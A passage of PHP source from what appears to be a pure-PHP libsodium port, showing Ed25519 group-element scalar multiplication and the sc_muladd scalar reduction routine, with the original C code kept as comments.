        # ge_add(&t,&A2,&Ai[1]); ge_p1p1_to_p3(&u,&t); ge_p3_to_cached(&Ai[2],&u);
        # ge_add(&t,&A2,&Ai[2]); ge_p1p1_to_p3(&u,&t); ge_p3_to_cached(&Ai[3],&u);
        # ge_add(&t,&A2,&Ai[3]); ge_p1p1_to_p3(&u,&t); ge_p3_to_cached(&Ai[4],&u);
        # ge_add(&t,&A2,&Ai[4]); ge_p1p1_to_p3(&u,&t); ge_p3_to_cached(&Ai[5],&u);
        # ge_add(&t,&A2,&Ai[5]); ge_p1p1_to_p3(&u,&t); ge_p3_to_cached(&Ai[6],&u);
        # ge_add(&t,&A2,&Ai[6]); ge_p1p1_to_p3(&u,&t); ge_p3_to_cached(&Ai[7],&u);
        for ($i = 0; $i < 7; ++$i) {
            $t = self::ge_add($A2, $Ai[$i]);
            $u = self::ge_p1p1_to_p3($t);
            $Ai[$i + 1] = self::ge_p3_to_cached($u);
        }

        # ge_p2_0(r);
        $r = self::ge_p2_0();

        # for (i = 255;i >= 0;--i) {
        #     if (aslide[i] || bslide[i]) break;
        # }
        $i = 255;
        for (; $i >= 0; --$i) {
            if ($aslide[$i] || $bslide[$i]) {
                break;
            }
        }

        # for (;i >= 0;--i) {
        for (; $i >= 0; --$i) {
            # ge_p2_dbl(&t,r);
            $t = self::ge_p2_dbl($r);

            # if (aslide[i] > 0) {
            if ($aslide[$i] > 0) {
                # ge_p1p1_to_p3(&u,&t);
                # ge_add(&t,&u,&Ai[aslide[i]/2]);
                $u = self::ge_p1p1_to_p3($t);
                $t = self::ge_add(
                    $u,
                    $Ai[(int) floor($aslide[$i] / 2)]
                );
                # } else if (aslide[i] < 0) {
            } elseif ($aslide[$i] < 0) {
                # ge_p1p1_to_p3(&u,&t);
                # ge_sub(&t,&u,&Ai[(-aslide[i])/2]);
                $u = self::ge_p1p1_to_p3($t);
                $t = self::ge_sub(
                    $u,
                    $Ai[(int) floor(-$aslide[$i] / 2)]
                );
            }
            /** @var array<int, ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp> $Bi */

            # if (bslide[i] > 0) {
            if ($bslide[$i] > 0) {
                # ge_p1p1_to_p3(&u,&t);
                # ge_madd(&t,&u,&Bi[bslide[i]/2]);
                $u = self::ge_p1p1_to_p3($t);
                /** @var int $index */
                $index = (int) floor($bslide[$i] / 2);
                /** @var ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp $thisB */
                $thisB = $Bi[$index];
                $t = self::ge_madd($t, $u, $thisB);
                # } else if (bslide[i] < 0) {
            } elseif ($bslide[$i] < 0) {
                # ge_p1p1_to_p3(&u,&t);
                # ge_msub(&t,&u,&Bi[(-bslide[i])/2]);
                $u = self::ge_p1p1_to_p3($t);

                /** @var int $index */
                $index = (int) floor(-$bslide[$i] / 2);

                /** @var ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp $thisB */
                $thisB = $Bi[$index];
                $t = self::ge_msub($t, $u, $thisB);
            }
            # ge_p1p1_to_p2(r,&t);
            $r = self::ge_p1p1_to_p2($t);
        }
        return $r;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $a
     * @return ParagonIE_Sodium_Core32_Curve25519_Ge_P3
     * @psalm-suppress MixedAssignment
     * @psalm-suppress MixedOperand
     * @throws SodiumException
     * @throws TypeError
     */
    public static function ge_scalarmult_base($a)
    {
        /** @var array<int, int> $e */
        $e = array();
        $r = new ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1();

        for ($i = 0; $i < 32; ++$i) {
            /** @var int $dbl */
            $dbl = (int) $i << 1;
            $e[$dbl] = (int) self::chrToInt($a[$i]) & 15;
            $e[$dbl + 1] = (int) (self::chrToInt($a[$i]) >> 4) & 15;
        }

        /** @var int $carry */
        $carry = 0;
        for ($i = 0; $i < 63; ++$i) {
            $e[$i] += $carry;
            $carry = $e[$i] + 8;
            $carry >>= 4;
            $e[$i] -= $carry << 4;
        }

        /** @var array<int, int> $e */
        $e[63] += (int) $carry;

        $h = self::ge_p3_0();

        for ($i = 1; $i < 64; $i += 2) {
            $t = self::ge_select((int) floor($i / 2), (int) $e[$i]);
            $r = self::ge_madd($r, $h, $t);
            $h = self::ge_p1p1_to_p3($r);
        }

        $r = self::ge_p3_dbl($h);

        $s = self::ge_p1p1_to_p2($r);
        $r = self::ge_p2_dbl($s);
        $s = self::ge_p1p1_to_p2($r);
        $r = self::ge_p2_dbl($s);
        $s = self::ge_p1p1_to_p2($r);
        $r = self::ge_p2_dbl($s);

        $h = self::ge_p1p1_to_p3($r);

        for ($i = 0; $i < 64; $i += 2) {
            $t = self::ge_select($i >> 1, (int) $e[$i]);
            $r = self::ge_madd($r, $h, $t);
            $h = self::ge_p1p1_to_p3($r);
        }
        return $h;
    }

    /**
     * Calculates (ab + c) mod l
     * where l = 2^252 + 27742317777372353535851937790883648493
     *
     * @internal You should not use this directly from another application
     *
     * @param string $a
     * @param string $b
     * @param string $c
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function sc_muladd($a, $b, $c)
    {
        $a0 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & self::load_3(self::substr($a, 0, 3)));
        $a1 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($a, 2, 4)) >> 5));
        $a2 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_3(self::substr($a, 5, 3)) >> 2));
        $a3 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($a, 7, 4)) >> 7));
        $a4 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($a, 10, 4)) >> 4));
        $a5 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_3(self::substr($a, 13, 3)) >> 1));
        $a6 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($a, 15, 4)) >> 6));
        $a7 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_3(self::substr($a, 18, 3)) >> 3));
        $a8 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & self::load_3(self::substr($a, 21, 3)));
        $a9 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($a, 23, 4)) >> 5));
        $a10 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_3(self::substr($a, 26, 3)) >> 2));
        $a11 = ParagonIE_Sodium_Core32_Int64::fromInt(0x1fffffff & (self::load_4(self::substr($a, 28, 4)) >> 7));
        $b0 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & self::load_3(self::substr($b, 0, 3)));
        $b1 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($b, 2, 4)) >> 5));
        $b2 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_3(self::substr($b, 5, 3)) >> 2));
        $b3 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($b, 7, 4)) >> 7));
        $b4 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($b, 10, 4)) >> 4));
        $b5 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_3(self::substr($b, 13, 3)) >> 1));
        $b6 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($b, 15, 4)) >> 6));
        $b7 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_3(self::substr($b, 18, 3)) >> 3));
        $b8 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & self::load_3(self::substr($b, 21, 3)));
        $b9 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($b, 23, 4)) >> 5));
        $b10 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_3(self::substr($b, 26, 3)) >> 2));
        $b11 = ParagonIE_Sodium_Core32_Int64::fromInt(0x1fffffff & (self::load_4(self::substr($b, 28, 4)) >> 7));
        $c0 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & self::load_3(self::substr($c, 0, 3)));
        $c1 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($c, 2, 4)) >> 5));
        $c2 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_3(self::substr($c, 5, 3)) >> 2));
        $c3 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($c, 7, 4)) >> 7));
        $c4 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($c, 10, 4)) >> 4));
        $c5 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_3(self::substr($c, 13, 3)) >> 1));
        $c6 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($c, 15, 4)) >> 6));
        $c7 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_3(self::substr($c, 18, 3)) >> 3));
        $c8 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & self::load_3(self::substr($c, 21, 3)));
        $c9 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($c, 23, 4)) >> 5));
        $c10 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_3(self::substr($c, 26, 3)) >> 2));
        $c11 = ParagonIE_Sodium_Core32_Int64::fromInt(0x1fffffff & (self::load_4(self::substr($c, 28, 4)) >> 7));

        /* Can't really avoid the pyramid here: */
        /**
         * @var ParagonIE_Sodium_Core32_Int64 $s0
         * @var ParagonIE_Sodium_Core32_Int64 $s1
         * @var ParagonIE_Sodium_Core32_Int64 $s2
         * @var ParagonIE_Sodium_Core32_Int64 $s3
         * @var ParagonIE_Sodium_Core32_Int64 $s4
         * @var ParagonIE_Sodium_Core32_Int64 $s5
         * @var ParagonIE_Sodium_Core32_Int64 $s6
         * @var ParagonIE_Sodium_Core32_Int64 $s7
         * @var ParagonIE_Sodium_Core32_Int64 $s8
         * @var ParagonIE_Sodium_Core32_Int64 $s9
         * @var ParagonIE_Sodium_Core32_Int64 $s10
         * @var ParagonIE_Sodium_Core32_Int64 $s11
         * @var ParagonIE_Sodium_Core32_Int64 $s12
         * @var ParagonIE_Sodium_Core32_Int64 $s13
         * @var ParagonIE_Sodium_Core32_Int64 $s14
         * @var ParagonIE_Sodium_Core32_Int64 $s15
         * @var ParagonIE_Sodium_Core32_Int64 $s16
         * @var ParagonIE_Sodium_Core32_Int64 $s17
         * @var ParagonIE_Sodium_Core32_Int64 $s18
         * @var ParagonIE_Sodium_Core32_Int64 $s19
         * @var ParagonIE_Sodium_Core32_Int64 $s20
         * @var ParagonIE_Sodium_Core32_Int64 $s21
         * @var ParagonIE_Sodium_Core32_Int64 $s22
         * @var ParagonIE_Sodium_Core32_Int64 $s23
         */

        $s0 = $c0->addInt64($a0->mulInt64($b0, 24));
        $s1 = $c1->addInt64($a0->mulInt64($b1, 24))->addInt64($a1->mulInt64($b0, 24));
        $s2 = $c2->addInt64($a0->mulInt64($b2, 24))->addInt64($a1->mulInt64($b1, 24))->addInt64($a2->mulInt64($b0, 24));
        $s3 = $c3->addInt64($a0->mulInt64($b3, 24))->addInt64($a1->mulInt64($b2, 24))->addInt64($a2->mulInt64($b1, 24))
                 ->addInt64($a3->mulInt64($b0, 24));
        $s4 = $c4->addInt64($a0->mulInt64($b4, 24))->addInt64($a1->mulInt64($b3, 24))->addInt64($a2->mulInt64($b2, 24))
                 ->addInt64($a3->mulInt64($b1, 24))->addInt64($a4->mulInt64($b0, 24));
        $s5 = $c5->addInt64($a0->mulInt64($b5, 24))->addInt64($a1->mulInt64($b4, 24))->addInt64($a2->mulInt64($b3, 24))
                 ->addInt64($a3->mulInt64($b2, 24))->addInt64($a4->mulInt64($b1, 24))->addInt64($a5->mulInt64($b0, 24));
        $s6 = $c6->addInt64($a0->mulInt64($b6, 24))->addInt64($a1->mulInt64($b5, 24))->addInt64($a2->mulInt64($b4, 24))
                 ->addInt64($a3->mulInt64($b3, 24))->addInt64($a4->mulInt64($b2, 24))->addInt64($a5->mulInt64($b1, 24))
                 ->addInt64($a6->mulInt64($b0, 24));
        $s7 = $c7->addInt64($a0->mulInt64($b7, 24))->addInt64($a1->mulInt64($b6, 24))->addInt64($a2->mulInt64($b5, 24))
                 ->addInt64($a3->mulInt64($b4, 24))->addInt64($a4->mulInt64($b3, 24))->addInt64($a5->mulInt64($b2, 24))
                 ->addInt64($a6->mulInt64($b1, 24))->addInt64($a7->mulInt64($b0, 24));
        $s8 = $c8->addInt64($a0->mulInt64($b8, 24))->addInt64($a1->mulInt64($b7, 24))->addInt64($a2->mulInt64($b6, 24))
                 ->addInt64($a3->mulInt64($b5, 24))->addInt64($a4->mulInt64($b4, 24))->addInt64($a5->mulInt64($b3, 24))
                 ->addInt64($a6->mulInt64($b2, 24))->addInt64($a7->mulInt64($b1, 24))->addInt64($a8->mulInt64($b0, 24));
        $s9 = $c9->addInt64($a0->mulInt64($b9, 24))->addInt64($a1->mulInt64($b8, 24))->addInt64($a2->mulInt64($b7, 24))
                 ->addInt64($a3->mulInt64($b6, 24))->addInt64($a4->mulInt64($b5, 24))->addInt64($a5->mulInt64($b4, 24))
                 ->addInt64($a6->mulInt64($b3, 24))->addInt64($a7->mulInt64($b2, 24))->addInt64($a8->mulInt64($b1, 24))
                 ->addInt64($a9->mulInt64($b0, 24));
        $s10 = $c10->addInt64($a0->mulInt64($b10, 24))->addInt64($a1->mulInt64($b9, 24))->addInt64($a2->mulInt64($b8, 24))
                   ->addInt64($a3->mulInt64($b7, 24))->addInt64($a4->mulInt64($b6, 24))->addInt64($a5->mulInt64($b5, 24))
                   ->addInt64($a6->mulInt64($b4, 24))->addInt64($a7->mulInt64($b3, 24))->addInt64($a8->mulInt64($b2, 24))
                   ->addInt64($a9->mulInt64($b1, 24))->addInt64($a10->mulInt64($b0, 24));
        $s11 = $c11->addInt64($a0->mulInt64($b11, 24))->addInt64($a1->mulInt64($b10, 24))->addInt64($a2->mulInt64($b9, 24))
                   ->addInt64($a3->mulInt64($b8, 24))->addInt64($a4->mulInt64($b7, 24))->addInt64($a5->mulInt64($b6, 24))
                   ->addInt64($a6->mulInt64($b5, 24))->addInt64($a7->mulInt64($b4, 24))->addInt64($a8->mulInt64($b3, 24))
                   ->addInt64($a9->mulInt64($b2, 24))->addInt64($a10->mulInt64($b1, 24))->addInt64($a11->mulInt64($b0, 24));
        $s12 = $a1->mulInt64($b11, 24)->addInt64($a2->mulInt64($b10, 24))->addInt64($a3->mulInt64($b9, 24))
                  ->addInt64($a4->mulInt64($b8, 24))->addInt64($a5->mulInt64($b7, 24))->addInt64($a6->mulInt64($b6, 24))
                  ->addInt64($a7->mulInt64($b5, 24))->addInt64($a8->mulInt64($b4, 24))->addInt64($a9->mulInt64($b3, 24))
                  ->addInt64($a10->mulInt64($b2, 24))->addInt64($a11->mulInt64($b1, 24));
        $s13 = $a2->mulInt64($b11, 24)->addInt64($a3->mulInt64($b10, 24))->addInt64($a4->mulInt64($b9, 24))
                  ->addInt64($a5->mulInt64($b8, 24))->addInt64($a6->mulInt64($b7, 24))->addInt64($a7->mulInt64($b6, 24))
                  ->addInt64($a8->mulInt64($b5, 24))->addInt64($a9->mulInt64($b4, 24))->addInt64($a10->mulInt64($b3, 24))
                  ->addInt64($a11->mulInt64($b2, 24));
        $s14 = $a3->mulInt64($b11, 24)->addInt64($a4->mulInt64($b10, 24))->addInt64($a5->mulInt64($b9, 24))
                  ->addInt64($a6->mulInt64($b8, 24))->addInt64($a7->mulInt64($b7, 24))->addInt64($a8->mulInt64($b6, 24))
                  ->addInt64($a9->mulInt64($b5, 24))->addInt64($a10->mulInt64($b4, 24))->addInt64($a11->mulInt64($b3, 24));
        $s15 = $a4->mulInt64($b11, 24)->addInt64($a5->mulInt64($b10, 24))->addInt64($a6->mulInt64($b9, 24))
                  ->addInt64($a7->mulInt64($b8, 24))->addInt64($a8->mulInt64($b7, 24))->addInt64($a9->mulInt64($b6, 24))
                  ->addInt64($a10->mulInt64($b5, 24))->addInt64($a11->mulInt64($b4, 24));
        $s16 = $a5->mulInt64($b11, 24)->addInt64($a6->mulInt64($b10, 24))->addInt64($a7->mulInt64($b9, 24))
                  ->addInt64($a8->mulInt64($b8, 24))->addInt64($a9->mulInt64($b7, 24))->addInt64($a10->mulInt64($b6, 24))
                  ->addInt64($a11->mulInt64($b5, 24));
        $s17 = $a6->mulInt64($b11, 24)->addInt64($a7->mulInt64($b10, 24))->addInt64($a8->mulInt64($b9, 24))
                  ->addInt64($a9->mulInt64($b8, 24))->addInt64($a10->mulInt64($b7, 24))->addInt64($a11->mulInt64($b6, 24));
        $s18 = $a7->mulInt64($b11, 24)->addInt64($a8->mulInt64($b10, 24))->addInt64($a9->mulInt64($b9, 24))
                  ->addInt64($a10->mulInt64($b8, 24))->addInt64($a11->mulInt64($b7, 24));
        $s19 = $a8->mulInt64($b11, 24)->addInt64($a9->mulInt64($b10, 24))->addInt64($a10->mulInt64($b9, 24))
                  ->addInt64($a11->mulInt64($b8, 24));
        $s20 = $a9->mulInt64($b11, 24)->addInt64($a10->mulInt64($b10, 24))->addInt64($a11->mulInt64($b9, 24));
        $s21 = $a10->mulInt64($b11, 24)->addInt64($a11->mulInt64($b10, 24));
        $s22 = $a11->mulInt64($b11, 24);
        $s23 = new ParagonIE_Sodium_Core32_Int64();

        $carry0 = $s0->addInt(1 << 20)->shiftRight(21);
        $s1 = $s1->addInt64($carry0);
        $s0 = $s0->subInt64($carry0->shiftLeft(21));
        $carry2 = $s2->addInt(1 << 20)->shiftRight(21);
        $s3 = $s3->addInt64($carry2);
        $s2 = $s2->subInt64($carry2->shiftLeft(21));
        $carry4 = $s4->addInt(1 << 20)->shiftRight(21);
        $s5 = $s5->addInt64($carry4);
        $s4 = $s4->subInt64($carry4->shiftLeft(21));
        $carry6 = $s6->addInt(1 << 20)->shiftRight(21);
        $s7 = $s7->addInt64($carry6);
        $s6 = $s6->subInt64($carry6->shiftLeft(21));
        $carry8 = $s8->addInt(1 << 20)->shiftRight(21);
        $s9 = $s9->addInt64($carry8);
        $s8 = $s8->subInt64($carry8->shiftLeft(21));
        $carry10 = $s10->addInt(1 << 20)->shiftRight(21);
        $s11 = $s11->addInt64($carry10);
        $s10 = $s10->subInt64($carry10->shiftLeft(21));
        $carry12 = $s12->addInt(1 << 20)->shiftRight(21);
        $s13 = $s13->addInt64($carry12);
        $s12 = $s12->subInt64($carry12->shiftLeft(21));
        $carry14 = $s14->addInt(1 << 20)->shiftRight(21);
        $s15 = $s15->addInt64($carry14);
        $s14 = $s14->subInt64($carry14->shiftLeft(21));
        $carry16 = $s16->addInt(1 << 20)->shiftRight(21);
        $s17 = $s17->addInt64($carry16);
        $s16 = $s16->subInt64($carry16->shiftLeft(21));
        $carry18 = $s18->addInt(1 << 20)->shiftRight(21);
        $s19 = $s19->addInt64($carry18);
        $s18 = $s18->subInt64($carry18->shiftLeft(21));
        $carry20 = $s20->addInt(1 << 20)->shiftRight(21);
        $s21 = $s21->addInt64($carry20);
        $s20 = $s20->subInt64($carry20->shiftLeft(21));
        $carry22 = $s22->addInt(1 << 20)->shiftRight(21);
        $s23 = $s23->addInt64($carry22);
        $s22 = $s22->subInt64($carry22->shiftLeft(21));

        $carry1 = $s1->addInt(1 << 20)->shiftRight(21);
        $s2 = $s2->addInt64($carry1);
        $s1 = $s1->subInt64($carry1->shiftLeft(21));
        $carry3 = $s3->addInt(1 << 20)->shiftRight(21);
        $s4 = $s4->addInt64($carry3);
        $s3 = $s3->subInt64($carry3->shiftLeft(21));
        $carry5 = $s5->addInt(1 << 20)->shiftRight(21);
        $s6 = $s6->addInt64($carry5);
        $s5 = $s5->subInt64($carry5->shiftLeft(21));
        $carry7 = $s7->addInt(1 << 20)->shiftRight(21);
        $s8 = $s8->addInt64($carry7);
        $s7 = $s7->subInt64($carry7->shiftLeft(21));
        $carry9 = $s9->addInt(1 << 20)->shiftRight(21);
        $s10 = $s10->addInt64($carry9);
        $s9 = $s9->subInt64($carry9->shiftLeft(21));
        $carry11 = $s11->addInt(1 << 20)->shiftRight(21);
        $s12 = $s12->addInt64($carry11);
        $s11 = $s11->subInt64($carry11->shiftLeft(21));
        $carry13 = $s13->addInt(1 << 20)->shiftRight(21);
        $s14 = $s14->addInt64($carry13);
        $s13 = $s13->subInt64($carry13->shiftLeft(21));
        $carry15 = $s15->addInt(1 << 20)->shiftRight(21);
        $s16 = $s16->addInt64($carry15);
        $s15 = $s15->subInt64($carry15->shiftLeft(21));
        $carry17 = $s17->addInt(1 << 20)->shiftRight(21);
        $s18 = $s18->addInt64($carry17);
        $s17 = $s17->subInt64($carry17->shiftLeft(21));
        $carry19 = $s19->addInt(1 << 20)->shiftRight(21);
        $s20 = $s20->addInt64($carry19);
        $s19 = $s19->subInt64($carry19->shiftLeft(21));
        $carry21 = $s21->addInt(1 << 20)->shiftRight(21);
        $s22 = $s22->addInt64($carry21);
        $s21 = $s21->subInt64($carry21->shiftLeft(21));

        $s11 = $s11->addInt64($s23->mulInt(666643, 20));
        $s12 = $s12->addInt64($s23->mulInt(470296, 19));
        $s13 = $s13->addInt64($s23->mulInt(654183, 20));
        $s14 = $s14->subInt64($s23->mulInt(997805, 20));
        $s15 = $s15->addInt64($s23->mulInt(136657, 18));
        $s16 = $s16->subInt64($s23->mulInt(683901, 20));

        $s10 = $s10->addInt64($s22->mulInt(666643, 20));
        $s11 = $s11->addInt64($s22->mulInt(470296, 19));
        $s12 = $s12->addInt64($s22->mulInt(654183, 20));
        $s13 = $s13->subInt64($s22->mulInt(997805, 20));
        $s14 = $s14->addInt64($s22->mulInt(136657, 18));
        $s15 = $s15->subInt64($s22->mulInt(683901, 20));

        $s9  =  $s9->addInt64($s21->mulInt(666643, 20));
        $s10 = $s10->addInt64($s21->mulInt(470296, 19));
        $s11 = $s11->addInt64($s21->mulInt(654183, 20));
        $s12 = $s12->subInt64($s21->mulInt(997805, 20));
        $s13 = $s13->addInt64($s21->mulInt(136657, 18));
        $s14 = $s14->subInt64($s21->mulInt(683901, 20));

        $s8  =  $s8->addInt64($s20->mulInt(666643, 20));
        $s9  =  $s9->addInt64($s20->mulInt(470296, 19));
        $s10 = $s10->addInt64($s20->mulInt(654183, 20));
        $s11 = $s11->subInt64($s20->mulInt(997805, 20));
        $s12 = $s12->addInt64($s20->mulInt(136657, 18));
        $s13 = $s13->subInt64($s20->mulInt(683901, 20));

        $s7  =  $s7->addInt64($s19->mulInt(666643, 20));
        $s8  =  $s8->addInt64($s19->mulInt(470296, 19));
        $s9  =  $s9->addInt64($s19->mulInt(654183, 20));
        $s10 = $s10->subInt64($s19->mulInt(997805, 20));
        $s11 = $s11->addInt64($s19->mulInt(136657, 18));
        $s12 = $s12->subInt64($s19->mulInt(683901, 20));

        $s6  =  $s6->addInt64($s18->mulInt(666643, 20));
        $s7  =  $s7->addInt64($s18->mulInt(470296, 19));
        $s8  =  $s8->addInt64($s18->mulInt(654183, 20));
        $s9  =  $s9->subInt64($s18->mulInt(997805, 20));
        $s10 = $s10->addInt64($s18->mulInt(136657, 18));
        $s11 = $s11->subInt64($s18->mulInt(683901, 20));

        $carry6 = $s6->addInt(1 << 20)->shiftRight(21);
        $s7 = $s7->addInt64($carry6);
        $s6 = $s6->subInt64($carry6->shiftLeft(21));
        $carry8 = $s8->addInt(1 << 20)->shiftRight(21);
        $s9 = $s9->addInt64($carry8);
        $s8 = $s8->subInt64($carry8->shiftLeft(21));
        $carry10 = $s10->addInt(1 << 20)->shiftRight(21);
        $s11 = $s11->addInt64($carry10);
        $s10 = $s10->subInt64($carry10->shiftLeft(21));
        $carry12 = $s12->addInt(1 << 20)->shiftRight(21);
        $s13 = $s13->addInt64($carry12);
        $s12 = $s12->subInt64($carry12->shiftLeft(21));
        $carry14 = $s14->addInt(1 << 20)->shiftRight(21);
        $s15 = $s15->addInt64($carry14);
        $s14 = $s14->subInt64($carry14->shiftLeft(21));
        $carry16 = $s16->addInt(1 << 20)->shiftRight(21);
        $s17 = $s17->addInt64($carry16);
        $s16 = $s16->subInt64($carry16->shiftLeft(21));

        $carry7 = $s7->addInt(1 << 20)->shiftRight(21);
        $s8 = $s8->addInt64($carry7);
        $s7 = $s7->subInt64($carry7->shiftLeft(21));
        $carry9 = $s9->addInt(1 << 20)->shiftRight(21);
        $s10 = $s10->addInt64($carry9);
        $s9 = $s9->subInt64($carry9->shiftLeft(21));
        $carry11 = $s11->addInt(1 << 20)->shiftRight(21);
        $s12 = $s12->addInt64($carry11);
        $s11 = $s11->subInt64($carry11->shiftLeft(21));
        $carry13 = $s13->addInt(1 << 20)->shiftRight(21);
        $s14 = $s14->addInt64($carry13);
        $s13 = $s13->subInt64($carry13->shiftLeft(21));
        $carry15 = $s15->addInt(1 << 20)->shiftRight(21);
        $s16 = $s16->addInt64($carry15);
        $s15 = $s15->subInt64($carry15->shiftLeft(21));

        $s5  =  $s5->addInt64($s17->mulInt(666643, 20));
        $s6  =  $s6->addInt64($s17->mulInt(470296, 19));
        $s7  =  $s7->addInt64($s17->mulInt(654183, 20));
        $s8  =  $s8->subInt64($s17->mulInt(997805, 20));
        $s9  =  $s9->addInt64($s17->mulInt(136657, 18));
        $s10 = $s10->subInt64($s17->mulInt(683901, 20));

        $s4  =  $s4->addInt64($s16->mulInt(666643, 20));
        $s5  =  $s5->addInt64($s16->mulInt(470296, 19));
        $s6  =  $s6->addInt64($s16->mulInt(654183, 20));
        $s7  =  $s7->subInt64($s16->mulInt(997805, 20));
        $s8  =  $s8->addInt64($s16->mulInt(136657, 18));
        $s9  =  $s9->subInt64($s16->mulInt(683901, 20));

        $s3  =  $s3->addInt64($s15->mulInt(666643, 20));
        $s4  =  $s4->addInt64($s15->mulInt(470296, 19));
        $s5  =  $s5->addInt64($s15->mulInt(654183, 20));
        $s6  =  $s6->subInt64($s15->mulInt(997805, 20));
        $s7  =  $s7->addInt64($s15->mulInt(136657, 18));
        $s8  =  $s8->subInt64($s15->mulInt(683901, 20));

        $s2  =  $s2->addInt64($s14->mulInt(666643, 20));
        $s3  =  $s3->addInt64($s14->mulInt(470296, 19));
        $s4  =  $s4->addInt64($s14->mulInt(654183, 20));
        $s5  =  $s5->subInt64($s14->mulInt(997805, 20));
        $s6  =  $s6->addInt64($s14->mulInt(136657, 18));
        $s7  =  $s7->subInt64($s14->mulInt(683901, 20));

        $s1  =  $s1->addInt64($s13->mulInt(666643, 20));
        $s2  =  $s2->addInt64($s13->mulInt(470296, 19));
        $s3  =  $s3->addInt64($s13->mulInt(654183, 20));
        $s4  =  $s4->subInt64($s13->mulInt(997805, 20));
        $s5  =  $s5->addInt64($s13->mulInt(136657, 18));
        $s6  =  $s6->subInt64($s13->mulInt(683901, 20));

        $s0  =  $s0->addInt64($s12->mulInt(666643, 20));
        $s1  =  $s1->addInt64($s12->mulInt(470296, 19));
        $s2  =  $s2->addInt64($s12->mulInt(654183, 20));
        $s3  =  $s3->subInt64($s12->mulInt(997805, 20));
        $s4  =  $s4->addInt64($s12->mulInt(136657, 18));
        $s5  =  $s5->subInt64($s12->mulInt(683901, 20));
        $s12 = new ParagonIE_Sodium_Core32_Int64();

        $carry0 = $s0->addInt(1 << 20)->shiftRight(21);
        $s1 = $s1->addInt64($carry0);
        $s0 = $s0->subInt64($carry0->shiftLeft(21));
        $carry2 = $s2->addInt(1 << 20)->shiftRight(21);
        $s3 = $s3->addInt64($carry2);
        $s2 = $s2->subInt64($carry2->shiftLeft(21));
        $carry4 = $s4->addInt(1 << 20)->shiftRight(21);
        $s5 = $s5->addInt64($carry4);
        $s4 = $s4->subInt64($carry4->shiftLeft(21));
        $carry6 = $s6->addInt(1 << 20)->shiftRight(21);
        $s7 = $s7->addInt64($carry6);
        $s6 = $s6->subInt64($carry6->shiftLeft(21));
        $carry8 = $s8->addInt(1 << 20)->shiftRight(21);
        $s9 = $s9->addInt64($carry8);
        $s8 = $s8->subInt64($carry8->shiftLeft(21));
        $carry10 = $s10->addInt(1 << 20)->shiftRight(21);
        $s11 = $s11->addInt64($carry10);
        $s10 = $s10->subInt64($carry10->shiftLeft(21));

        $carry1 = $s1->addInt(1 << 20)->shiftRight(21);
        $s2 = $s2->addInt64($carry1);
        $s1 = $s1->subInt64($carry1->shiftLeft(21));
        $carry3 = $s3->addInt(1 << 20)->shiftRight(21);
        $s4 = $s4->addInt64($carry3);
        $s3 = $s3->subInt64($carry3->shiftLeft(21));
        $carry5 = $s5->addInt(1 << 20)->shiftRight(21);
        $s6 = $s6->addInt64($carry5);
        $s5 = $s5->subInt64($carry5->shiftLeft(21));
        $carry7 = $s7->addInt(1 << 20)->shiftRight(21);
        $s8 = $s8->addInt64($carry7);
        $s7 = $s7->subInt64($carry7->shiftLeft(21));
        $carry9 = $s9->addInt(1 << 20)->shiftRight(21);
        $s10 = $s10->addInt64($carry9);
        $s9 = $s9->subInt64($carry9->shiftLeft(21));
        $carry11 = $s11->addInt(1 << 20)->shiftRight(21);
        $s12 = $s12->addInt64($carry11);
        $s11 = $s11->subInt64($carry11->shiftLeft(21));

        $s0  =  $s0->addInt64($s12->mulInt(666643, 20));
        $s1  =  $s1->addInt64($s12->mulInt(470296, 19));
        $s2  =  $s2->addInt64($s12->mulInt(654183, 20));
        $s3  =  $s3->subInt64($s12->mulInt(997805, 20));
        $s4  =  $s4->addInt64($s12->mulInt(136657, 18));
        $s5  =  $s5->subInt64($s12->mulInt(683901, 20));
        $s12 = new ParagonIE_Sodium_Core32_Int64();

        $carry0 = $s0->shiftRight(21);
        $s1 = $s1->addInt64($carry0);
